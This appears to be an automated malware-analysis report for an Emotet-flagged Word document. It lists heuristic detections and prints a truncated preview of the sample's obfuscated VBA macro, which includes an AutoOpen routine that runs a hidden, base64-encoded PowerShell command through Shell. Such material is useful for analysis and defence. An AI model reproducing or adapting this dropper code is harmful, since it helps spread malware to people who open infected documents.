Malware Insights
The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating a Shell() call within the VBA macros. The Autoopen macro is present and executes a PowerShell command constructed from concatenated strings: 'powershell -WindowStyle hidden -e IAA mACgAIAAkAFM ASABF AGwAbABpAGQA WwAxAF0AKw AkAHMAaABl AGwAT'. This PowerShell command is likely responsible for downloading and executing a second-stage payload. The ClamAV detection also explicitly identifies the file as 'Doc.Downloader.Emotet-6960320-0', strongly suggesting the Emotet family.
Heuristics 7
-
ClamAV: Doc.Downloader.Emotet-6960320-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-6960320-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 18124 bytes |
SHA-256: e5ff7f7c06488aaa35bb9d083a4f2b140c87b549e542e2a6803879d7128124ec |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "JHBBwiBpitMw" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function znQwjVU() On Error Resume Next DsjGLV = (inNnoC * nFnkQz - jTjiwO * Round(8427)) + (87565 - Rnd(ONKfQ) + 42447 + DmPvZ) fZGiX = (ucHnjC * YzYNH - pbzadX * Round(44671)) + (33656 - Rnd(jzBDAG) + 75989 + cTqUz) znQwjVU = aDwZj + kUWqhUlLbwI + icVPsQD + lfooMtdH + GwQzEow + FufqRkvk + aGhhIQwiv + nRkFwf + TVuZHDUP + pfsPwZW + ntQSkn + wfUsiAui GZbdtz = (fZIFk * jzcHAS - tKmjB * Round(30984)) + (72009 - Rnd(wtQVqt) + 87431 + CudUZ) End Function Sub Autoopen() On Error Resume Next XtzPJ = (JzMpC * pvnvbd - djjrj * Round(89596)) + (8665 - Rnd(zaNXzd) + 80236 + silHid) EwTqU (znQwjVU) jbSuDw = (HSzIv * qCNVE - KYzSE * Round(34545)) + (99489 - Rnd(uMpWh) + 99328 + zPQAAo) End Sub Function EwTqU(AHHoEk) On Error Resume Next TuXoiV = (qUQCJT * hINcD - Ruccbw * Round(63999)) + (82731 - Rnd(zUDfYF) + 8760 + QjiKEs) UXjPR = (DYwwU * RuNmo - EXvwd * Round(89755)) + (35013 - Rnd(NzsZfN) + 3391 + IDPSZ) wpdkvrOln = Shell(SdiCzkKw + Chr(vbKeyP) + JHfllmwmm + AHHoEk, vbHide) uwGhDj = (ACzpEz * dVulw - tFfXSG * Round(45029)) + (27223 - Rnd(KWWjZd) + 98439 + vqlqNv) End Function Attribute VB_Name = "jbOjamJdVkloQj" Function aDwZj() On Error Resume Next jLnVH = (puGuC * iPFba - RNBGdd * Round(37364)) + (67438 - Rnd(OGiocc) + 30126 + zzwSt) jPABP = "owersHeLL -Win" + "DowsTyl" + "e hidden -e IAA" + "mACgAIAAkAFM" + "ASABF" + "AGwAbABpAGQA" + "WwAxAF0AKw" JzVjVq = (OzcLEC * dhJBY - aoXGZ * Round(94725)) + (28286 - Rnd(FidjXi) + 85101 + IuwsP) CEdpZcLnV = "AkAHMAaABl" + "AGwATABJAGQ" + "AWwAxADMAXQArAC" + "cAeAAnACkAKAA" + "oACgAIgB7A" + "DEANAAwAH0Aew" + "A4ADAAfQ" + "B7ADEAMwAzAH" + "0AewA" IGcYZ = (tSoutf * UZOJY - kITwfj * Round(38476)) + (56602 - Rnd(ZPDfw) + 50395 + RdBXUw) BQjTjM = "0ADQAfQB7ADE" + "AMgA4AH" + "0AewA0AD" + "UAfQB7ADgAMQB" + "9AHsANwA0AH0Aew" qimsiX = (tkaRir * IzrFQZ - YrOjio * Round(16554)) + (71356 - Rnd(AGmUc) + 29543 + opFkfi) RjHzsHZctP = "AxADIANQB9A" + "HsAMwA4" + "AH0AewAxADE" + "AfQB7A" + "DAAfQB7ADYAM" + "wB9AHs" + "AMQA4AH0Aew" + "AxADkAfQB7A" + "DEAMwAwAH0Aew" + "AxADMA" OUiqIj = (REYuR * YLAjaI - ZKsXMs * Round(7787)) + (6509 - Rnd(KoNuN) + 99713 + vzzEz) CMNQAbkmL = "NAB9AHsAMQAwA" + "DkAfQB7ADEAMQ" + "A2AH0AewA0AD" + "EAfQB7ADY" + "AMQB9AHsAM" + "QA1AH0AewA" + "1ADkAfQB" + "7ADkAfQ" CNaKXU = (pWKWCD * cLdQc - BtjhX * Round(58603)) + (46862 - Rnd(ElbEcq) + 15789 + zBVjaa) CTijVCsC = "B7ADEAMQ" + "AwAH0AewAyADEA" + "fQB7ADEA" + "MQA4AH0AewA1" + "ADIAfQB7ADUAOA" aDwZj = jPABP + CEdpZcLnV + BQjTjM + RjHzsHZctP + CMNQAbkmL + CTijVCsC End Function Function kUWqhUlLbwI() On Error Resume Next iqrJwj = (TjcthJ * snswdl - iSaNvz * Round(27728)) + (53919 - Rnd(tfbFEq) + 60281 + cPTRr) GQMVhDF = "B9AHsAMQA" + "3AH0A" + "ewA3A" + "DYAfQB" + "7ADQAfQB7A" + "DcANwB9AHsAMQ" jJzAEO = (mzoCvY * wAmVr - iOFDZC * Round(16149)) + (46192 - Rnd(NRTrq) + 82942 + wzKNS) porvYMpt = "A0AH0A" + "ewA0ADYAfQB7ADI" + "ANwB9AH" + "sAMQAxA" + "DkAfQB7ADcAO" + "AB9AHsAM" + "QAzAD" hmDJS = (Ybdza * tUDvb - FESkW * Round(67342)) + (8972 - Rnd(asEpLd) + 42513 + jTAPku) raTGzakLdI = "YAfQB7AD" + "EAMgAxAH0A" + "ewA1ADYA" + "fQB7ADYAOA" + "B9AHsAOQA0AH0Ae" + "wA3AH0AewAxADEA" + "MgB9AHsAMQAyA" + "H0AewAzADIAfQB" + "7ADMANQB9AHsAMQ" tjTtnz = (zAVII * ozPUE - nfWomw * Round(63699)) + (33248 - Rnd(kvLQLE) + 47990 + CpQjE) aFqWUr = "AxADQAfQB7ADE" + "AfQB7" + "ADQAOQB9AHsAMQA" + "wADgAf" + "QB7ADQANwB" + "9AHsANAA" + "yAH0A" + "ewAxA" + "DAAMwB9AHsANgA" ETCVIn = (DjLAHT * vhwGj - OEKswJ * Round(30028)) + (93563 - Rnd(inAim) + 35020 + jaZdE) RrjuP = "yAH0AewAzADc" + "AfQB7ADEAMgA2A" + "H0AewAxA" + "DAANwB" + "9AHsA" + "MQA0ADMAfQB7" + "ADEAM" + "AAyAH0" PAQDkC = (VsJDV * zJKYwX - qBXzYh * Round(8656)) + (52039 - Rnd(WhCihp) + 19139 + tYNrrl) YawcPqt = "AewA4ADgAfQB7" + "ADUAMAB9AHs" + "AMwAwA" + "H0AewAzADE" ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.